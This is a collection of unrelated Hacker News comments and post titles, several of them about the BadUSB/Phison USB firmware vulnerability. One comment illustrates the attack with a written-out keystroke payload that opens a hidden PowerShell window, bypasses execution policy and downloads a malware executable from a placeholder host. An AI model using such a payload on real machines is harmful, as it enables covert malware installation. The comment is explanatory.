skysight-inc/HackerNews huggingface dataset:
I believe that some security tokens (Yubikeys) work by emulating a USB keyboard as well.

http://www.yubico.com/about/intro/yubikey/
Physicist here. You are confusing things. Having rest mass or Pauli-exclusion principle has nothing to do with qualification of being an anti-particle.

Z boson, for instance, does have mass and is its own anti-particle.

> It's basically like saying "the number 0 is its own negative number". It's correct according to some definitions, but not useful.

Photons have zero charge; an anti-particle has negative of the particle's charge (and at the same time, same rest mass and spin).
Ramayana Might Have Actually Happened
As affluent increase spending on kids’ education, wealth gap widens
Would "Virtual Particle" possibly be a more correct and explanatory term?
No it doesn't, still takes French for Catalan (French only comes at third place, after Italian), and Swedish for Dutch.
(Arguably those are close languages, but hey, this is why I'm using this, right?)
I got the N56VZ a while back and I found it using the same method. If you don't use the blu-ray drive (and who does, really?) it's pretty trivial to swap it out with a new drive caddy. I put the HDD in there because I heard people had trouble booting from the caddy and put in a SSD where the HDD was. This [1] is the caddy I used, and swapping out the face plate with the original is pretty easy. Considering the price of the machine in the first place, why not throw a second drive in there.

[1] http://www.ebay.com/itm/Second-Hard-Drive-2nd-HDD-SSD-Caddy-...
Is it possible to know who the funding agencies are for these projects before applying?
And you should read all the peer-reviewed papers in published psychology journals below that document other examples of this and the factors that affect it?
> if you want to run your business from a couple of boxes under your desk

Now there's an idea.
Here's a simpler version:

What these people have done is a way of arranging some electrons such that they behave like Majorana fermions (a fermion [particle] whose anti-particle is itself).
Understanding sources of unfairness in data driven decision making
The PIA Chrome extension enables you to open and manage some sites with speech. It was done at a hackathon using wit.ai

http://getpia.com
$10k Programming Challenge Issued by Vistaprint
I've been completely unable to get it to recognize an inverted interrobang (⸘) with no luck, though. Still, very very cool.

EDIT: Tried one more time and got it as the 9th suggestion.
How to make tea correctly (according to science): milk first
Scrolling does not work well for timer setup
I guess you're thinking of Pivot here, which uses Deep Zoom for display, but offers facets for filtering. I just noticed that there seems to be a JavaScript implementation too: https://github.com/seajax/seajax/blob/master/v2/app/pivot/qu...
Why aren't these things somehow cryptographically signed like a lot of software? Seems like it would fix the problem. You could always do what Windows/OsX does when a USB device isn't signed and prompt the user with something like "warning, this USB device is not from a trusted manufacturer, continue?"
Because that would make it impossible to ever deploy HTTP/2.
USB stands for Universal Serial Bus. Almost every device (Keyboard, storage device, speakers, etc) can be attached over USB these days. Therefore your computer can't know what kind of device can attach over USB; it's left to the device itself to tell the computer what it is.

The big security problem that they found is that the computer has no way to verify that the usb device is actually the type of device that it proclaims to be. This opens up a massive security hole (as demonstrated at blackhat). A usb device can first tell the computer that it's a mass-storage device, and then later change itself to a keyboard and then start 'typing' commands as a user would. The computer can't see if it's a real keyboard or a fake keyboard, and that's the problem.

This is not a vulnerability in your OS but rather a gross oversight in the USB specification. This vulnerability is shown to be cross platform(linux,windows) and cross hardware(2 different usb chipsets). It's dubbed 'unpatchable' because to patch this we need a need new (safe) USB specification and you'd need to buy a new pc with those new usb ports.
Design is nice
This is interesting. At my job, a pretty big financial company, they automatically lock down USB ports on the company computers, but I think it is done on the OS (Windows) layer. Will that make a difference?
No, what I'm saying is that we don't have transparency in the reports. All we get is "something happened", with very few details of what "something" is. My goalposts never moved; only your interpretation of them.

Would you not agree that a data breach brought on by a disgruntled employee selling records is materially different than the same data breach caused by failure to patch systems? I don't care about the investigation (where did you get any implication I think investigations should be public); I care about the results.
Having someone there to call 911 if the victim is unable would be a HUGE win.
Don't feel bad. I use PHP and Behat, I've seen Konstantin (everzet) present these concepts a few times, and I don't understand what he's talking about either.

That said, Behat is lovely, and thanks to everyone who works on it.
Sometimes it's free, sometimes you pay, sometimes it works, sometimes it doesn't. Same for phone.
Bill Gates: Apple Pay is “fantastic” and a “real contribution”
ROI + Data Driven Diversity
After the Quake: Earliest Known Color Photographs of San Francisco
Poll: A browser without tabs?
I'm really getting annoyed a little more everyday with browser tabs. They don't seem to fit in my workflow anymore. I have a couple tabs that should stay alive and at the tip of my finger (gmail, slack, HN, ...) and many others that I just need once and would love not to have to manually close.

The browser should be simpler and more intuitive especially given it could know pretty much what I'm going to need at any moment just by looking at my usage.

This poll is pretext for discussion, feel free to share your feeling on this!
Dude, I'll never switch Browser.
Don't touch my tabs. I love them.
I'd love to replace tabs with a new paradigm
Breakout Labs Aims to Take Science from the Lab to Supercharge the Economy
Hot swapping PS/2 devices has worked on most motherboards for a long time.
I would love to know how many sign-ups and customer appointments did Homejoy get after this lecture, across the 5 countries it covers. Am sure the ROI on this 50 minutes lecture will give more sign-ups than any FB or google ad campaign :-). What a cunning way to grow!
That's the point I'm trying to get across - you know the user's intent if they are explicit. If the user enters "Buy Milk" - you don't know their intent. But, if they enter "Buy First Milk" and then "Buy Second Milk" - you know precisely what they want.

From a user interface perspective, if the user ever enters "Buy Milk" - and there is no existing milk, that is always, "Buy First Milk". If they go to a different client, and the milk order is there, and they enter "Buy Milk" - that then becomes "Buy Second Milk". But, if "Buy Milk" hasn't synced yet, they can explicitly flag it as "Second Milk Order".
Regardless of how you feel about drugs, he also hosted (and profited from) markets for identity theft tools, hacking tools, and he tried to have his enemies assassinated.

Only sociopaths and libertarians are holding him up as some bastion of morality.
That doesn't do a new tab it does a new window. It is always the feature I have to work around whenever I have to install a new browser.
Dont trust a Klingon!
http://hackaday.com/2012/06/29/turning-an-arduino-into-a-usb...
It even has a Read([]byte) method for automatically filling a []byte with cryptographically secure psuedorandom numbers, so the loop would not be necessary!
This was discussed in the original linked article http://blog.erratasec.com/2014/10/reading-silk-road-configur...

before the mods changed the link. Here's a vote for changing the HN code so it says "link changed from $X to $Y" at the top of the page when they do that.
I highly doubt AWS will go "pop". They're still leading the market by a huge margin. I moved on to AWS last year and still haven't found anything else comparable that I'm more comfortable with. One thing I'd love to see though is maybe some sub-set or preconfiguration of aws that's more developer friendly. Some sort of Heroku type thing that still allows access to the box to change/add everything as needed. I sometimes feel that I'm spending too much time doing the little server admin tasks when I'd prefer to just focus on development. I dunno, just a thought I've been having..

Anyway the constant price lowering by all these companies will be interesting to see play out.
Because that would break every hyperlink on the web, and would create a separate web with content that existing clients or intermediaries would be excluded from. Much more evolvable to keep the wire protocol version orthogonal to URI.

Further, technically speaking, the URL scheme has little to with the protocol used , it is merely a way of linking a hierarchical namespace to a spec (or more) that tells a developer how to resolve it. That means we have a lot of flexibility in terms of protocol (we don't even need a protocol defined in some cases - mailto: URIs for example).
True, but it doesn't undermine my point. You can troubleshoot HTTP 1.1 with common, generic tools. How do you work with HTTP2? I have no idea.
By `correct language` I mean the language you expect, by `second` and `third` I mean `2.` and `3.` in the previously mentioned demo: http://wooorm.github.io/franc/). I think we’re talking about the same thing!

Anyway, yeah, franc is for language detecting, but it’s optimised for many languages and works best at longer text. It’s a trade-off. For less languages and shorter texts, check out https://github.com/shuyo/ldig
Hire better engineers?
I don't think the bystander effect is nearly as significant as common wisdom would imply. People don't respond not because they think someone else will, but because they don't understand what's going on. I live in an urban area, and I pay attention to noises, but almost every time I hear a scream and investigate it's some boisterous teenagers or some similar phenomena. If I knew the person was requesting help – even if I don't know WHY they are requesting help – I would respond.

The wiki page largely confirms this as well: https://en.wikipedia.org/wiki/Bystander_effect#Emergency_ver... – most of the factors which encourage response by bystanders would be satisfied by this system.
That's a really cool idea but I suspect that this would be down to the inevitable problem of "cost". Getting the equivalent of an EV cert for some backwater country's crap mouse with a major brand stuck on the case would add cost to the device and shoot the margins for the distributor, the manufacturer and the retailer.
5 Reasons Why Developers Are Not Using Your API
Agreed again. I often quote my intro to computer engineering professor who said, "Education is a series of small lies" when told us some circuits have ternary logic, not just binary. But I feel that this headline is not in that group.
Which is why USB num pads exist... Or is an external num pad not an option?
They're also not even on the state water system at all, so what Central Valley farmers do or don't use doesn't affect the particular situation written about in this article. The article is about people in remote areas, off the water grid, who have private wells that draw from shallow aquifers replenished by rainwater. Since there is very little rain, the wells are dry this year, so they have to truck in water in plastic drums.

The agriculture vs. residential vs. industrial policy/pricing debate is more about how to split water between entities connected to the big state-run aqueduct system, e.g. Central Valley agriculture vs. LA/SF. Which is also important, but a different situation from this one.
It's hard to know for sure what Thiel is advocating.

I'm just deeply suspicious of the "work hard/play harder" culture that often springs up around startups, mostly because it de-emphasizes the need to leave work. It's good to have multiple social circles.
Sounds like a problem for Bluetooth devices too: connect a bluetooth speaker that secretly says it's also a keyboard. Is that possible?

(This is pure speculation, I don't know anything about this and am just curious.)
That explanation is inaccurate.

While it is true that the USB bus offers no security, it is inaccurate to claim that every device has "admin" privileges with every other device. Most devices expose a limited interface to the bus which won't allow direct manipulation of their respective microcontrollers (e.g. no re-writing, no alteration, etc).

The reason why we're discussing Phison USB sticks is that they're an exception. When you plug in a device with a Phison microcontroller, other devices or the computer can alter the microcontroller and have it act maliciously.

A common proof of concept is to have the USB stick's microcontroller pretend to be other USB devices in order to escalate access. In this case they are emulating a fictional USB hub, a fictional USB keyboard, and the actual USB drive (which is routed through the fictional USB hub).

In order to send keystrokes they aren't altering another keyboard on the USB bus, they're generating them from the virtual keyboard they generated via software on the Phison microcontroller. There doesn't need to be a real keyboard on that same bus for this to work (e.g. you could plug in a USB stick directly to a computer and this would still show up as a USB Hub, USB Keyboard, and USB Thumb Drive).

Once you have a virtual keyboard you can send gems like this (assume Windows):

Keys: WIN+R (0x5B + 0x52)
Type: powershell.exe -ExecutionPolicy Bypass -WindowsStyle Hidden -Command "&{ Invoke-WebRequest http://example.com/malware.exe -OutFile c:\temp\malware.exe}"
Keys: Return (0x0D)
FLOSS Weekly
Google APIs Adopt Promises
It's also generally ineffective, and little more than a checkmark on a compliance sheet. Just because something is encrypted doesn't mean it's not trivially accessible and readable.

Encryption, when it applies to systems that need unassisted access to data in a database, is hugely overrated.
Bitcoin command line
Google Organic Click Through Rates in 2014
That's because you're not selling to the actual users of your product.
That's interesting, why would you put it along the track and not on the train itself? In the 60's it made sense but today wouldn't it be cheap to put digital temperature sensors on the trains like cars have?
Hamas won the elections in Gaza, which were supervised by Israel and the United States. Israel is also committed to the destruction of Gaza it would seem, by bombs, and the colonization of the West Bank.

Remember Israel kicked Palestineans out of their homes during the 1948 war, simply appopriated their property and didn't allow them to return by passing an absentee landlord law.
Are you confused thinking democracy implies non-violence?

Democracy means rule by the people through discussion. If the will of the people is to execute those imposing an occupation, then a democracy will facilitate that.

The American colonists assertion of their sovereignty is the textbook example. The British attempted to take over their land through violent force and the colonists responded through violent force.
I think his point was more that if you had an actual weapon you could use it to defend yourself and not need loading into the ambulance in the first place.
> Because that would break every hyperlink on the web,

Or you just run two servers (or a single server that speaks both), you know, like you'll have to for the next 30 years anyway.

> and would create a separate web with content that existing clients or intermediaries would be excluded from.

If you have an HTTP2-only site, aren't you doing that anyway?

> Much more evolvable to keep the wire protocol version orthogonal to URI.

> Further, the URL scheme has little to with the protocol used

That first part, before the colon, is a protocol descriptor. It would be perfectly reasonable to change the protocol descriptor.

What should have been done was use the Upgrade header (like websockets) or specify using SRV records.
Gaza elected Hamas in a free and fair election, supervised by Israel and the U.S.
The general principle is that the first person to escalate to force, and the first to escalate to lethal force, is in the wrong, which can cause the situation to shift.

Although some states don't recognize the latter, but pretty much everyone recognizes the principle of proportionality.

There is plenty of case law about people intervening in situations where they don't know what happened before that point, and it's frequently not pretty. I would expect it to be worse if they responded to such a call.
It's hard to believe they are only giving this guy $18k.
> One area that's ripe for automation that hasn't seen much attention lately is setting up your computer.

Really? Puppet, Chef, Ansible, Salt, etc are pretty attention getting.
While perusing the Conformal homepage[1] it seems their main commercial offering is Cyphertite[2], which they bill as a cross-platform "scalable high security solution for online backups" complete with paid data plans (similar to tarsnap).

[1] https://www.conformal.com/

[2] https://www.cyphertite.com/
Heh. Okay, that's good to know. These comments prompted me to look up "Learning Styles" on Wikipedia, which confirms that scientific studies have not confirmed the validity of the "different learning styles" theory.

http://en.wikipedia.org/wiki/Learning_styles#Criticism

That probably says something about corporate trainers. I still remember the HR department at one company where I worked that insisted on giving the Myers-Briggs personality test to every employee. So maybe this also says something about junk science and the way it lingers on in our workplaces...
Are you hiring for data scientists, machine learning, or scientific computing positions?
- The goal of this post is to automate 80% of the bootstrapping, allowing you to setup a new Mac in a matter of hours, not days.

Who uses -days- setting up your own computer ?
I like my MBPro, but when refresh time comes around I'll be looking at alternatives. With Apple de-contenting them over the years, they just aren't all that "pro" any more.
Sadly, no, as "virtual particle" has a different meaning. See http://en.wikipedia.org/wiki/Virtual_particle. The technical term for these, I believe is "quasiparticle": http://en.wikipedia.org/wiki/Quasiparticle
I'm not completely sure, but the vulnerability resides in the fact that an usb device can mimic any other type of device. However if all devices are ignored by the system then it won't matter what evil usb devile you insert: it will be ignored just like all the legitimate usb devices.

So yes, if your company blocks absolutely all usb devices than you're probably safe.
A shout out for the IT introverts
Technical implementation of this idea is difficult to impossible, because the device controls what it sends to the host. This means the device could, as an extreme example, contain two firmware areas and a management controller / hypervisor. It could allow the valid firmware to enumerate with a valid signature and then swap over to malicious code undetected - a similar problem to Microsoft's flawed Xbox360 copy protection where the host trusts the DVD drive to authenticate discs.

Anyway, even provided someone could conceive a real implementation, there are still the same issues we've seen with signed OSes (Trusted Boot) and signed device drivers in Windows:

Who gets to be a root CA for peripheral software? How do small/homebrew manufacturers get approved? How does the CA verify the legitimacy of the people they're issuing certs to?
How do compromised certs get revoked?
What happens when the cert for a legitimate device gets stolen?
What if nobody wants to pay for a cert for their crappy fly-by-night flash drives, and users learn to "just click Install?"
Lyft Drivers Are Burning Their Pink Mustaches
EYETOK, watch the world live through other people smartphones
How many times have you ever thought: "I wish I could see it with my own eyes!" ? , but you could not make it to be there…

Eyetok is a unique and global service based on a mobile app to watch live what's going on anywhere in the world, like you've never seen it before, through other people's smartphones live video streaming, like they were your eyes. (Available now on iOS for iPhone)

Any smartphone turns to be a "walking webcam", you can contact and interact with in real time, to watch what others see. Plus, receiver can guide broadcaster and interact with while video streaming in real time through chat and driving arrows (as joystick to guide broadcaster)

It's the social discovery engine: a "Google Street View", live and on demand.
Eyetok solves the need of watching right now what's happening, ephemeral events, verify and check live anything, virtual traveling, report and broadcast news or incident, eyewitness curiosity, live life hacking with your own eyes, anywhere, as you were right there and then.

Imagine we could make it so students use it right now in Hong Kong Occupy…we could see what's going on, as we were there…or they could share live too to show what's going on.

Let us know your comments and feedback at bruno@eyetok.com
> Only sociopaths and libertarians are holding him up as some bastion of morality.

I dont think anyone is. Rather, the moralists are making an example out of him to further their own cause.
Everchat – Messaging and File Sharing Platform for Modern Teams
Very nice, sadly it also illustrates that it's pretty hard to get the laptop you want.

Most of the features I want are sort of "anti-features". No stupid touch stuff, no "this converts into a table", no numpad, no special media keys, no Windows only hardware, no VGA. Add to that: Must be well built, you pretty much left with nothing.

It's nice to see screen resolutions getting high though. For a long time it seems that you had to go with a MacBook to get a higher resolution without paying over $3000.
It's not that the device is signed, but the driver.
MOTA SmartRing – Revolutionize Wearable Technology
Internet Time
Intel IoT Dev Kit
If a foreign power were to begin seizing your land, killing your family members, and bombing your reasonably well developed country back into the early 1900's, I think you might feel pretty strongly about the issue as well.

That's not to say what Hamas is doing is right, but keep in mind what they've been through.
We have a tradition of introducing hacks over kludges. Don't break it.
With New App, Groupon Goes After Grocery Deals
democratically empowered only means rule of the majority. If it meant peaceful, non-violent, then the only country in the world that is democratic is probably Costa Rica. It also does not mean a Western Ideal monoculture. While all the things that you do bring up are horrible stuff, and should not be condoned, it does not take away from the fact that there were elections and Hamas won.
The Ebola Epidemic Is Stoppable
Doesn't the pairing process cover this? I think each device is paired on its own terms. Someone please correct me if I'm wrong here.
Catalans vow to hold referendum on independence from Spain
We can likely all agree murder is almost always bad, and murder over drugs is categorically bad.

So when someone asks for an acknowledgment that murder is bad from another person, it's almost ad hominem, or so it seems to me.

So the debate is whether or not government policies create incentives or motive for crime. There are several documented reasons [1] that good people do bad things, and creating an environment for that isn't helping anyone.

It's not to say that the murderer is less to blame, but culpability isn't something that reduces criminal responsibility.

[1] http://www.businessinsider.com/27-psychological-reasons-why-...
Well, but if someone downloads malware from the net, that HID can still get infected.